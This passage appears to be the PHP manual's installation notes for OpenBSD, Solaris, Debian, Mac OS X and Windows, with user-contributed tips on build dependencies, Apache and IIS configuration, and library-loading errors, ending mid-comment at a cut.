You can also compile up PHP from source using the » ports tree. However, this is only recommended for users familiar with OpenBSD. The PHP 4 port is split into two sub-directories: core and extensions. The extensions directory generates sub-packages for all of the supported PHP modules. If you find you do not want to create some of these modules, use the no_* FLAVOR. For example, to skip building the imap module, set the FLAVOR to no_imap.

Common Problems

  • The default install of Apache runs inside a » chroot(2) jail, which will restrict PHP scripts to accessing files under /var/www. You will therefore need to create a /var/www/tmp directory for PHP session files to be stored, or use an alternative session backend. In addition, database sockets need to be placed inside the jail or listen on the localhost interface. If you use network functions, some files from /etc such as /etc/resolv.conf and /etc/services will need to be moved into /var/www/etc. The OpenBSD PEAR package automatically installs into the correct chroot directories, so no special modification is needed there. More information on the OpenBSD Apache is available in the » OpenBSD FAQ.
  • The OpenBSD 3.6 package for the » gd extension requires XFree86 to be installed. If you do not wish to use some of the font features that require X11, install the php4-gd-4.3.8-no_x11.tgz package instead.

Older Releases

Older releases of OpenBSD used the FLAVORS system to compile up a statically linked PHP. Since it is hard to generate binary packages using this method, it is now deprecated. You can still use the old stable ports trees if you wish, but they are unsupported by the OpenBSD team. If you have any comments about this, the current maintainer for the port is Anil Madhavapeddy (avsm at openbsd dot org).

User Contributed Notes

hg at ostc dot de 16-May-2005 07:45
Also you should add "-a /var/www/dev/log" to the syslogd_flags
for propper logging of php-extensions like imap.so and create
a /var/www/etc/master.passwd with an www-user-entry and run
pwd_mkdb -d /var/www/etc /var/www/etc/master.passwd for propper
use of libc-client.a functions in imap.so.
openbsd-fanatic 10-May-2005 10:51
I am user that is just migrating to open source and thought I would take openbsd for a spin. This article, by Gregory L. Magnusson, really helped me to get a working apache-php-mysql server going on openbsd.
http://www.devx.com/security/Article/28059/0/page/1
ameen(at)dausha(dot)net 03-Nov-2003 04:47
I just finished spinning my wheels with PHP/Apache on OpenBSD 3.3, and it took a Google to fix my problem. I followed the instructions by (0429196301 at netcabo dot pt) written on Sep 19, 2003 and kept being fed a segmentation fault when I tried to start httpd.

Then I read the page cited below that suggested playing with the order of the LoadModules, and put the PHP first. I followed that recommendation and httpd started without problems!

Page that saved me:
http://archives.neohapsis.com/archives/openbsd/2002-04/3074.html

"Change around the order of the Apache modules, this is one of the
drawbacks to the module API for Apache 1.3 is that the order is very
important. I would try making the PHP 4 module first, Perl module second
and FP module last. "
sanchero [at] gvsu [dot] edu 10-May-2003 08:59
On OpenBSD 3.2, given the steps outlined above using pre-built packages you will get a new "/var/www/conf/httpd.conf" that contains a section like this:

<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

This causes mod_php4 to load only when starting Apache w/SSL, so if this isn't what you want add the mod_php4 line again above (or below) this section, like so:

AddModule mod_php4.c   <<------ SEE? - now should load normally.
<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

I also added this for good measure:

<IfModule mod_php4.c>
         AddType application/x-httpd-php .php [blah blah]
</IfModule>

Seems to work.


Solaris specific installation tips

This section contains notes and hints specific to installing PHP on Solaris systems.

Required software

Solaris installs often lack C compilers and their related tools. Read this FAQ for information on why using GNU versions for some of these tools is necessary.

For unpacking the PHP distribution you need

  • tar
  • gzip or
  • bzip2

For compiling PHP you need

  • gcc (recommended, other C compilers may work)
  • make
  • GNU sed

For building extra extensions or hacking the code of PHP you might also need

  • flex (up to PHP 5.2)
  • re2c
  • bison
  • m4
  • autoconf
  • automake
In addition, you will need to install (and possibly compile) any additional software specific to your configuration, such as Oracle or MySQL.

Using Packages

You can simplify the Solaris install process by using pkgadd to install most of your needed components. The Image Packaging System (IPS) for Solaris 11 Express also contains most of the required components for installation using the pkg command.

User Contributed Notes

ariedederde 18-Jun-2011 09:58
Install php on solaris express:

pkg search php
part of output is e.g.

pkg:/web/php-52@5.2.12-0.151.0.1

pkg install php-52

php binary installs in /usr/php/5.2/bin/php
julie at baumler dot com 29-Dec-2006 06:22
There's a great how-to for Solaris 10 from Mel Lester Jr at http://meljr.com/~meljr/AMPSolaris10.html.

It even shows how to install php in a global zone and configure it in your other zones.
francois at tekwire dot net 06-Oct-2006 10:11
A detailed HOWTO document describing how to build Apache & PHP on Solaris is available at http://www.tekwire.net/redir.php/build_apa_php

This document also explains how to build from scratch every piece of software they can depend on, including almost every Apache modules and PHP extensions : Apache 2.0, PHP V4 & V5, zlib, OpenSSL, OpenLDAP, expat, iconv, mod_jk, xml2, xslt, png, jpeg, freetype, bzip2, curl, imap, MySQL, PostgreSQL, mm.

Also includes a cute dependency diagram making clear the relationships between all these libraries.
ozone at cname dot com 15-Jan-2006 06:46
php >= 5.1.1 requires a fully GNU toolchain on solaris; /usr/ccs/bin/ld will fail to link. see bug 35496.
AxL 19-Dec-2005 07:48
If you have problems building php with sqlite on solaris, add "-lrt" library so you dont get the fdatasync undefined symbol error.
anacreo 18-Dec-2004 05:11
Below was copied from a Sun Forum -- if having problems compiling on Solaris 10 try this:

Re: where is ctid_t defined? (Solaris 10)
Author: Juergen.Keil         Nov 17, 2004 10:37 AM (reply 1 of 10)
ctid_t is defined in /usr/include/sys/types.h ("typedef id_t ctid_t;").

I guess what has happend is that you're using a gcc compiler that
was build on Solaris 9 (or some other Solaris release older than
Solaris 10 b69), and this gcc release has a set of "fixed" gcc specific
headers that don't match your s10b69 system headers any more.

The fix is to build a fresh set of gcc "fixed" headers:

# cd /opt/sfw/gcc-3/lib/gcc-lib/i386-pc-solaris2.9/3.3.2/install-tools/

# cat > mkheaders.conf
SHELL=/bin/sh
SYSTEM_HEADER_DIR="/usr/include"
OTHER_FIXINCLUDES_DIRS=""
FIXPROTO_DEFINES="-D_XOPEN_SOURCE"
STMP_FIXPROTO="stmp-fixproto"
STMP_FIXINC="stmp-fixinc"
^D

# ./mkheaders
xlark at sdf dot lonestar dot org 12-Jul-2003 04:48
If you do a "Core Install" of Solaris,  be sure you have installed the SUNWlibm and SUNWlibms packages.  PHP 4.2.3 fails to compile without them.

If you get errors with GCC about math.h, then you don't have them installed.
ejflores at alcatel dot es 03-Jul-2003 03:14
./configure not run fine with /usr/ucb/tr you need to install GNU textutils
ineves at iportalmais dot pt 07-Mar-2003 12:09
I have compiled php 4.2.3, on my solaris 9, sparc, it works, i have gcc 3.2.2, from sunfreeware.org, i have compiled with

./configure --prefix=/opt/php --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-imap=/usr/src/soft/imap-2002b --with-ldap --with-imap-ssl=/usr/local/ssl

It compiles, but when i try to run it says something like:

bash-2.05# /opt/apache/bin/apachectl start
Syntax error on line 205 of /opt/apache/conf/httpd.conf:
Cannot load /opt/apache/libexec/libphp4.so into server: ld.so.1: /opt/apache/bin/httpd: fatal: relocation error: file /opt/apache/libexec/libphp4.so: symbol ldap_start_tls_s: referenced symbol not found
/opt/apache/bin/apachectl start: httpd could not be started

This means that the ldap librarys that came with solaris, are not very fine, you should use from openldap.org packages...

it is using this library:

bash-2.05# ldd /opt/apache/libexec/libphp4.so
    ...
    libldap.so.5 =>  /usr/lib/libldap.so.5

his one is from solaris installation.

(sorry about my english)
nicos at php dot net 06-Jan-2003 04:49
Note that you also need GNU sed or you'll have some errors lile "Output line too long."
m at hackerz dot uk dot co 15-Oct-2002 06:49
Compiled Ok on Solaris 9 after the addition of Bison Flex automake and autoconf, adding /usr/local/bin to the path and linking /usr/ccs/bin/ar to /usr/local/bin/ar.
php at woodNO-SPAMstea dot com 26-Jun-2002 08:15
Howard Glynn's post from May 22 is right on - if you're running Solaris 8, make sure you get the latest Recommended patch cluster. I've been struggling with that library problem that happens when you start Apache for several weeks, tweaking the config, setting LD_LIBRARY_PATH, etc. I couldn't believe that the PHP developers wouldn't have the Solaris build right - seems like a fairly important OS. But the latest Solaris patch cluster fixed the problem, so I guess it was my fault for not being up to date. I'm running PHP 4.2.1 now with Apache 2.0.36, works great.
ltfrench at vt dot edu 09-Jun-2002 11:09
To get PHP 4.2.0 or better to make on Solaris 8 (using gcc and gnu autoconf) you need to:
ln -s /usr/local/bin/gcc /usr/local/bin/cc

See: http://bugs.php.net/bug.php?id=16833
howardglynn at hotmail dot com 22-May-2002 07:26
I've had a lot of problems with "dn_skipname" reference errors when trying to do a php / apache shared-library install on solaris 8. All compiling was clean, but could not restart apache with mod_php. After much trial and error, I found a solution by installing patch 109326-07 which has some fixes for resolver (I think). I had one web server without the patch, and one with it, and was able to show the same commands compiling, working and restarting on one, but not the other. Installed patch on machine, compiled clean and was up and running after doing this. Works great. Get the patch from sun.com
shane dot kinsch at netracorp dot comNOSPAM 17-Feb-2002 09:49
PHP 4.1.1 / Apache 1.32 Buile Issues (Solaris 2.8)

Apache build options:
./configure --prefix=/usr/local/etc/apache --enable-module=rewrite --enable-shared=rewrite

PHP build options:
./configure --with-mysql=/usr/local/etc/mysql --with-apxs=/usr/local/etc/apache/bin/apxs

Both Apache and PHP compiled without errors and installed cleanly.

The Error when starting Apache:
Syntax error on line 208 of /usr/local/etc/apache/conf/httpd.conf:
Cannot load /usr/local/etc/apache/libexec/libphp4.so into server:
ld.so.1: /usr/local/etc/apache/bin/httpd: fatal: relocation error: file /usr/local/etc/apache/libexec/libphp4.so: symbol dn_skipname: referenced symbol not found ./apachectl start: httpd could not be started

Line 208 in the httpd.conf file is:
LoadModule php4_module        libexec/libphp4.so

The solution:
For some reason, even though LD_LIBRARY_PATH was being set properly,
it wasn't being read fully.  You will need to create a runtime
linking environment by doing this:

#crle -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/usr/local/etc/mysql/lib

Shane Kinsch
NetraCorp LLC / SecurNET Consulting
Louis at ewens dot com 23-Jun-2001 04:39
On Solaris, if upon starting Apache you get an error like this:

Syntax error on line 33 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: ld.so.1: /usr/loca
l/apache/bin/httpd: fatal: libmysqlclient.so.10: open failed: No such file or directory
./apachectl start: httpd could not be started

..try inserting the following lines into the configuration section of your apachectl startup shell script:

LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/usr/local/mysql/lib/mysql
export LD_LIBRARY_PATH

Change the /usr/local/mysql/ prefix to where ever your MySQL installation is. Make sure to add on the /lib/mysql extension to your own path though.

Do your normal "apachectl start" command to start Apache and voila, no more error. Apachectl can be found in the bin directory of your Apache installation.


Debian GNU/Linux installation notes

This section contains notes and hints specific to installing PHP on » Debian GNU/Linux.

Warning

Unofficial builds from third-parties are not supported here. Any bugs should be reported to the Debian team unless they can be reproduced using the latest builds from our » download area.

While the instructions for building PHP on Unix apply to Debian as well, this manual page contains specific information for other options, such as using either the apt-get or aptitude commands. This manual page uses these two commands interchangeably.

Using APT

First, note that other related packages may be desired like libapache2-mod-php5 to integrate with Apache 2, and php-pear for PEAR.

Second, before installing a package, it's wise to ensure the package list is up to date. Typically, this is done by running the command apt-get update.

Example #1 Debian Install Example with Apache 2

# apt-get install php5-common libapache2-mod-php5 php5-cli

APT will automatically install the PHP 5 module for Apache 2 and all of its dependencies, and then activate it. Apache should be restarted in order for the changes take place. For example:

Example #2 Stopping and starting Apache once PHP is installed

# /etc/init.d/apache2 stop
# /etc/init.d/apache2 start

Better control of configuration

In the last section, PHP was installed with only core modules. It's very likely that additional modules will be desired, such as MySQL, cURL, GD, etc. These may also be installed via the apt-get command.

Example #3 Methods for listing additional PHP 5 packages

# apt-cache search php5
# aptitude search php5
# aptitude search php5 |grep -i mysql

The examples will show a lot of packages including several PHP specific ones like php5-cgi, php5-cli and php5-dev. Determine which are needed and install them like any other with either apt-get or aptitude. And because Debian performs dependency checks, it'll prompt for those so for example to install MySQL and cURL:

Example #4 Install PHP with MySQL, cURL

# apt-get install php5-mysql php5-curl

APT will automatically add the appropriate lines to the different php.ini related files like /etc/php5/apache2/php.ini, /etc/php5/conf.d/pdo.ini, etc. and depending on the extension will add entries similar to extension=foo.so. However, restarting the web server (like Apache) is required before these changes take affect.

Common Problems

  • If the PHP scripts are not parsing via the web server, then it's likely that PHP was not added to the web server's configuration file, which on Debian may be /etc/apache2/apache2.conf or similar. See the Debian manual for further details.
  • If an extension was seemingly installed yet the functions are undefined, be sure that the appropriate ini file is being loaded and/or the web server was restarted after installation.
  • There are two basic commands for installing packages on Debian (and other linux variants): apt-get and aptitude. However, explaining the subtle differences between these commands goes beyond the scope of this manual.

User Contributed Notes

marin at sagovac dot com 23-Mar-2014 10:10
To install LAMP stack on Ubuntu (+Server) from 10.04 you need first install taskel and then lamp-server for example:

Install taskel, follow terminal guides:
sudo apt-get install tasksel

Install LAMP stack package from Ubuntu repository:
sudo tasksel install lamp-server
thumbs at apache dot org 28-Jun-2013 02:50
To refresh this document, perhaps it would be worth mentioning more modern methods to serve php content under apache httpd.

Specifically, the preferred method is now fastcgi, using either of those recipes:

(mod_fastcgi, httpd 2.2)
http://wiki.apache.org/httpd/php-fastcgi

(mod_fcgid, httpd 2.2)
http://wiki.apache.org/httpd/php-fcgid

(mod_proxy_fcgi, httpd 2.4)
http://wiki.apache.org/httpd/PHP-FPM

While the legacy mod_php approach is still applicable for some older installations, the fastcgi method is much faster, and require much less RAM to operate, based on similar traffic patterns.

Thank you!
juraj at jurajsplayground dot com 09-May-2009 02:59
On Ubuntu (since 7.04), rather do:
sudo tasksel install lamp-server

Details:
https://help.ubuntu.com/community/ApacheMySQLPHP
tranzbit at yahoo dot com 02-May-2009 10:59
On Ubuntu:

sudo apt-get install apache2 php5 mysql-client-5.0 mysql-server-5.0 phpmyadmin libapache2-mod-php5 libapache2-mod-auth-mysql php5-mysql

then restart the computer/start mysql manually
From:
http://ubuntuforums.org/showthread.php?t=186492
John Fisher 09-Feb-2007 01:53
With Apache2 and Php4 under Debian Sarge there is an extra configuration file :  /etc/apache2/sites-available/default
This file is not clearly documented, at least not for noobs, in Apache docs.

It overrides the conf file in the way you expect the /etc/apache2/conf.d/apache2-doc  to do according to the README.

Add ExecCGI to it to get rid of "Options ExecCGI is off in this directory"  errors.


Installation on Mac OS X

Table of Contents

  • Using Packages
  • Using the bundled PHP
  • Compiling PHP on Mac OS X

This section contains notes and hints specific to installing PHP on Mac OS X. PHP is bundled with Macs, and compiling is similar to the Unix installation guide.

User Contributed Notes

chris at spookee dot de 17-Oct-2014 06:02
There is a "One Line Installation" tool to use PHP 5.6/5.5/5.4/5.3 for
OS X 10.6/10.7/10.8/10.9/10.10 with the build-in Apache with lots of extensions included:

http://php-osx.liip.ch

I hope posting this link is allowed, because it helped me a lot to get the latest PHP-Version running...

Included extensions:

bcmath bz2 calendar Core ctype curl date dom dtrace ereg exif fileinfo filter ftp gd gettext hash iconv imap intl json ldap libxml mbstring mcrypt memcache memcached mhash mongo mssql mysql mysqli mysqlnd OAuth odbc openssl pcntl pcre PDO pdo_dblib pdo_mysql pdo_pgsql pdo_sqlite pgsql Phar posix Reflection session shmop SimpleXML soap sockets solr SPL SQLite sqlite3 standard sysvmsg sysvsem sysvshm tidy tokenizer wddx xdebug xhprof xml xmlreader xmlrpc xmlwriter xsl zip zlib Xdebug

available but disabled by default: apc, xslcache, twig, uploadprogress
zoonman at gmail dot com 30-May-2014 10:09
I found good gist how to install PHP 5.4 and 5.3 side by side on Max OSX via MacPorts. I suppose, it is applicable for PHP 5.5 too.
https://gist.github.com/raphaelstolt/2721719
Dan Black 08-Mar-2007 05:00
My httpd.conf had some of the lines, but not all of them -- mine was missing the LoadModule and AddModule lines for php.  I'm not sure why -- I don't delete any of those; I just comment them out if I'm not using them.  Plus, the note above put a space in "LoadModule"; it has no space.  I didn't know about the "apachectl graceful" trick, though -- since "httpd -k restart" stopped working (probably around 10.2), I had just been doing it manually -- find the process, kill it, and hit httpd again -- thanks for the tip!

So for those who are missing any of the lines, here are the full lines.

In the section with all the other LoadModules:
  LoadModule php4_module        libexec/httpd/libphp4.so</div>

Directly below that section should be the AddModules; you need:
  AddModule mod_php4.c

And then the AddType lines should be right after the language priorities (so after the AddCharset lines and after the LanguagePriority bit):
  AddType application/x-httpd-php .php
  AddType application/x-httpd-php-source .phps

Then restart apache/httpd as described above, and hopefully you should be good.

BTW, the actual module should be at:
/usr/libexec/httpd/libphp4.so
So if things fail, you can check to see if that's there.

Thanks to others who posted here; it definitely helped and got me on the right track.  I just had to find the module manually to write my own LoadModule line.
Jeff Hayden 10-Sep-2006 08:17
Just a note. The darwinports software is now macports and you can get it at: http://www.macports.org/

If you use macports, be sure to change any refernces you may have in your calling scripts to macports as the file macports now gets installed.
andreas at fink dot org 18-Aug-2004 09:01
To build on MacOS X 10.3.5 set the environment variable CFLAGS in the following way (depending on your shell)

setenv CFLAGS "-DBIND_8_COMPAT=1 -DEAPI -O3"

export CFLAGS="-DBIND_8_COMPAT=1 -DEAPI -O3"

Then launch configure with the options:

./configure --prefix=/usr --mandir=/usr/share/man  ....

The -DBIND_8_COMPAT=1 gets you over a problem in the DNS files because MacOS X has definitions for Bind9 and PHP expects Bind8 definitions. -DEAPI is needed if you build it for Apache 1.3.31. -O3 enables the gcc optimizer.

You can also add one of the following lines to your CFLAGS depending on the CPU you use to further improve speed:
-mcpu=G3 -mtune=G3
-mcpu=G4 -mtune=G4
-mcpu=G5 -mtune=G5


Using Packages

There are a few pre-packaged and pre-compiled versions of PHP for Mac OS X. This can help in setting up a standard configuration, but if you need to have a different set of features (such as a secure server, or a different database driver), you may need to build PHP and/or your web server yourself. If you are unfamiliar with building and compiling your own software, it's worth checking whether somebody has already built a packaged version of PHP with the features you need.

The following resources offer easy to install packages and precompiled binaries for PHP on Mac OS:

  • MacPorts: » http://www.macports.org/
  • Liip: » http://php-osx.liip.ch/
  • Fink: » http://www.finkproject.org/
  • Homebrew: » http://github.com/mxcl/homebrew

User Contributed Notes

Marcin 24-Feb-2014 02:10
Liip now supports PHP 5.5 too - http://php-osx.liip.ch/ - all very easy to install - just 1 command line.
raheelgup at gmail dot com 16-Feb-2014 04:02
If you want the latest version of PHP on your MAC with Apache and MySQL as a stack you should check the AMPPS Stack :
http://ampps.com

I read about it here :
http://chriswiegman.com/2013/05/bye-bye-mamp-pro-hello-ampps/AC
gordon 21-Mar-2012 07:29
The Entropy package is no longer maintained.

Liip supply PHP 5.3 and 5.4 packages that are easy to install.

http://php-osx.liip.ch/


Using the bundled PHP

PHP has come standard with Macs since OS X version 10.0.0. Enabling PHP with the default web server requires uncommenting a few lines in the Apache configuration file httpd.conf whereas the CGI and/or CLI are enabled by default (easily accessible via the Terminal program).

Enabling PHP using the instructions below is meant for quickly setting up a local development environment. It's highly recommended to always upgrade PHP to the newest version. Like most live software, newer versions are created to fix bugs and add features and PHP being is no different. See the appropriate MAC OS X installation documentation for further details. The following instructions are geared towards a beginner with details provided for getting a default setup to work. All users are encouraged to compile, or install a new packaged version.

The standard installation type is using mod_php, and enabling the bundled mod_php on Mac OS X for the Apache web server (the default web server, that is accessible via System Preferences) involves the following steps:

  1. Locate and open the Apache configuration file. By default, the location is as follows: /private/etc/apache2/httpd.conf Using Finder or Spotlight to find this file may prove difficult as by default it's private and owned by the root user.

    Note: One way to open this is by using a Unix based text editor in the Terminal, for example nano, and because the file is owned by root we'll use the sudo command to open it (as root) so for example type the following into the Terminal Application (after, it will prompt for a password): sudo nano /private/etc/apache2/httpd.conf Noteworthy nano commands: ^w (search), ^o (save), and ^x (exit) where ^ represents the Ctrl key.

    Note: Versions of Mac OS X prior to 10.5 were bundled with older versions of PHP and Apache. As such, the Apache configuration file on legacy machines may be /etc/httpd/httpd.conf.

  2. With a text editor, uncomment the lines (by removing the #) that look similar to the following (these two lines are often not together, locate them both in the file):

    # LoadModule php5_module libexec/httpd/libphp5.so

# AddModule mod_php5.c
    Notice the location/path. When building PHP in the future, the above files should be replaced or commented out.

  3. Be sure the desired extensions will parse as PHP (examples: .php .html and .inc)

    Due to the following statement already existing in httpd.conf (as of Mac Panther), once PHP is enabled the .php files will automatically parse as PHP.

    <IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>

    Note:

    Before OS X 10.5 (Leopard), PHP 4 was bundled instead of PHP 5 in which case the above instructions will differ slightly by changing 5's to 4's.

  4. Be sure the DirectoryIndex loads the desired default index file This is also set in httpd.conf. Typically index.php and index.html are used. By default index.php is enabled because it's also in the PHP check shown above. Adjust accordingly.
  5. Set the php.ini location or use the default A typical default location on Mac OS X is /usr/local/php/php.ini and a call to phpinfo() will reveal this information. If a php.ini is not used, PHP will use all default values. See also the related FAQ on finding php.ini.
  6. Locate or set the DocumentRoot This is the root directory for all the web files. Files in this directory are served from the web server so the PHP files will parse as PHP before outputting them to the browser. A typical default path is /Library/WebServer/Documents but this can be set to anything in httpd.conf. Alternatively, the default DocumentRoot for individual users is /Users/yourusername/Sites
  7. Create a phpinfo() file

    The phpinfo() function will display information about PHP. Consider creating a file in the DocumentRoot with the following PHP code:

    <?php phpinfo(); ?>

  8. Restart Apache, and load the PHP file created above

    To restart, either execute sudo apachectl graceful in the shell or stop/start the "Personal Web Server" option in the OS X System Preferences. By default, loading local files in the browser will have an URL like so: http://localhost/info.php Or using the DocumentRoot in the user directory is another option and would end up looking like: http://localhost/~yourusername/info.php

The CLI (or CGI in older versions) is appropriately named php and likely exists as /usr/bin/php. Open up the terminal, read the command line section of the PHP manual, and execute php -v to check the PHP version of this PHP binary. A call to phpinfo() will also reveal this information.

User Contributed Notes

parampal 01-Sep-2014 01:39
instead of step 3, add the following lines to the `/private/etc/apache2/mime.types` file

application/x-httpd-php                 php
application/x-httpd-php-source   phps
cweiske at cweiske dot de 07-Jul-2014 05:56
On recent (10.8/10.9) macs, the apache php config file is located at /etc/apache2/others/php5.conf
Julee 17-Mar-2013 12:49
To work on Mac OS X Lion 10.7, I had to change /private/etc/php.ini.default to /private/etc/php.ini
Anonymous 15-Nov-2008 11:36
You only have to uncomment:
#LoadModule php5_module        libexec/apache2/libphp5.so

This is gone:
# AddModule mod_php5.c

The statement in 3 was changed to:
<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /private/etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

Extra MIME types can either be added to the file /private/etc/apache2/mime.types or by using an AddType directive as commented on above.
jaffle 24-Oct-2008 11:36
Additionally, it seems that the default installation of php on Mac OS X (10.5 tested) does not point to the default location of the mysql.sock file that is installed in a standard MySQL 5.0 installation.

This prevents php working with locally hosted MySQL databases.

Adding the following line to the /private/etc/apache2/other/php5.conf file did the trick:

php_value mysql.default_socket /tmp/mysql.sock

(make sure you put it in between the </IfModule> statements)
sachin at dharmapurikar dot in 22-Oct-2008 02:28
I am using MacOSX 10.5.4 and only enabling the mod_php5 wasn't enough to get the PHP support. I had to add following block before I could use php on machine -

<IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>


Compiling PHP on Mac OS X

Use the Unix installation guide to compile PHP on Mac OS X.

User Contributed Notes

There are no user contributed notes for this page.


Installation on Windows systems

Table of Contents

  • Manual Installation Steps
  • Microsoft IIS
  • Microsoft IIS 5.1 and IIS 6.0
  • Microsoft IIS 7.0 and later
  • Apache 1.3.x on Microsoft Windows
  • Apache 2.x on Microsoft Windows
  • Sun, iPlanet and Netscape servers on Microsoft Windows
  • Sambar Server on Microsoft Windows
  • Xitami on Microsoft Windows
  • Building from source
  • Installation of extensions on Windows
  • Command Line PHP on Microsoft Windows

This section applies to Windows 98/Me and Windows NT/2000/XP/2003. PHP will not work on 16 bit platforms such as Windows 3.1 and sometimes we refer to the supported Windows platforms as Win32.

Note:

Windows XP/2003 is no longer supported as of PHP 5.5.0.

Note:

Windows 98/Me/NT4 is no longer supported as of PHP 5.3.0.

Note:

Windows 95 is no longer supported as of PHP 4.3.0.

If you have a development environment such as Microsoft Visual Studio, you can also build PHP from the original source code.

Once you have PHP installed on your Windows system, you may also want to load various extensions for added functionality.

User Contributed Notes

phper at www dot thewindowshelp dot com 10-Mar-2014 08:11
install php on windows, you can find some help here!
http://www.thewindowshelp.com/tag/php/

Enjoy!!!
falling174fps at hotmail dot com 26-Jan-2011 05:54
Note carefully that no matter what it says above, Windows 2000 has been (effectively) desupported in PHP 5.3. However, 5.2 still seems to work, ignoring the spate of dll messages.

See: http://bugs.php.net/bug.php?id=48761

It is highly useful to run the php command line executable (php.exe) from a command line (start/run: cmd.exe) to check whether the compiled php executable will start at all:

    cd \php
    php -v

This is in preference to wondering why IIS/Apache returns some obscure message about missing headers.
- Conor
bufoni at hotmail dot com 18-Sep-2009 04:49
Oh Man!

I installed by Microsoft Installer, manually, whatever I always received de same error from IIS7.

HTTP Error 404.3 - Not Found
The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.

The IIS7 interface is quite diferent and are not all together like IIS6

The 5.3 version have not any of those files: php5stdll, php5isapi.dll. etc.

The installer puts others files in handlers and I decided to use them as substitutes. Nothing done!

After that, I discovered that installer do not install these files within the sites, but in the root default site configuration of IIS7.

So, I copied the root configuration to my site and them it worked (all others procedures were done e.g. copy php.ini to windows folder)
Fernando O. 01-Aug-2009 12:28
I found a way to install it properly, on IIS 7:

Note

Set IIS to allow 32-bits if you are on 64-bits

cscript %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1

Set enviroment variables

PATH to, say, C:\php\

PHPRC to, that same dir

Go to Web Service Extensions: Add a new extension...

Name it for example php, and point it to the php5isapi.dll.

Set status to Allowed.

Right click Web Sites:

On the tab, ISAPI Filters, name it for example php, and point it to the php5isapi.dll

Then go to Home directory tab:

Click Configuration

On Mappings, click add:

Executable would be: php5isapi.dll
Extension to: .php

Click OK, then OK.

Then on the tab Documents click Add:

and add there what you want to load as default, say index.php

Then stop, and start IIS.

This worked for me on a Windows 2003 Server, and WinXP 64.

I hope this saves time for someone.
robert dot johnson at icap dot com 19-May-2009 12:38
IIS ISAPI module is not included in the Windows msi installer for version 5.2.9-2.

Either use the zip file and set it up manually, or use the installer for version 5.2.9-1 instead.
dpharshman at dslextreme dot com 17-May-2009 02:52
PHP 5.2.9.2 Install on XP Pro IIS 5.1 - phpinfo( ) results incorrect

Testing Date:  05.15.09

Background:
For several days now I, as a newbie, have been unsure if I had installed PHP correctly, or not.  No matter what I did phpinfo( ) reported "Configuratin File Path" as:  “C:\WINDOWS”.  I was left to wonder what was wrong.

To help resolve the phpinfo() “issue”, I conducted a series of tests using two scripts:

The first is “test-php-ini-loaded.php”; it is stored in c:\inetpub\wwwroot, and has the following code:

    <?php
    $inipath = php_ini_loaded_file();

    if ($inipath) {
        echo 'Loaded php.ini: ' . $inipath;
    } else {
        echo 'A php.ini file is not loaded';
    }
    ?>

The second script is simply calls phpinfo( ).  It is named test.php, is stored in “c:\inetpub\wwroot”,  and has the following code:

    <?php phpinfo( ); ?>

My Dev Environment:
1. Windows XP Pro SP3
2. IIS 5.1 / MMC 3.0
3. PHP 5.2.9.2 – phpMyAdmin not yet installed
4. (plus MySQL 5.1, etc.)
5. Install location is on my local E: drive

The Tests:

Test 1:
a. PHPRC environment variable and IniFilePath Registry left in place and active
b. Verified no other copies of php.ini exist on the system other than in my E:\PHP folder
c. Renamed php.ini to hold-php.ini
d. Stopped and started IIS (“net stop iisadmin” and “net start w3svc”)
e. Ran “test-php-ini-loaded.php” to check whether my php.ini is loaded.  It is not.
f. Ran "test.php".  “Loaded Configuration File” was empty, while “Configuration File (php.ini) Path” showed:  C:\WINDOWS.

Test 2:
a. Moved php.ini from E:\PHP to C:\WINDOWS
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check if my php.ini is loaded.  It is not, which surprised me.
d. Ran "test.php".  My php.ini is apparently not loaded, or found, by phpinfo( ), even though “Configuration File (php.ini) Path” reports it as being in C:\WINDOWS.
e. Note:  Per PHP’s “The configuration file” note, PHP's search order includes:  “Windows directory (C:\windows or C:\winnt) (for Windows), ...”; but it apparently doesn’t or php.ini would have been found and displayed at “Loaded Configuration File”.

Test 3:
a. Left the solo copy of my php.ini in C:\WINDOWS
b. Disabled PHPRC environment variable by renaming it to “Ex-PHPRC and saving the settings (note: for this test  I left the Registry entry for PHP IniFilePath intact)
c. Stopped and started IIS
d. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not found.
e. Ran the "test.php".  Again, my php.ini file is reported as not found in C:\WINDOWS though “Configuration File (php.ini) Path” reports it as being there.

Test 4:
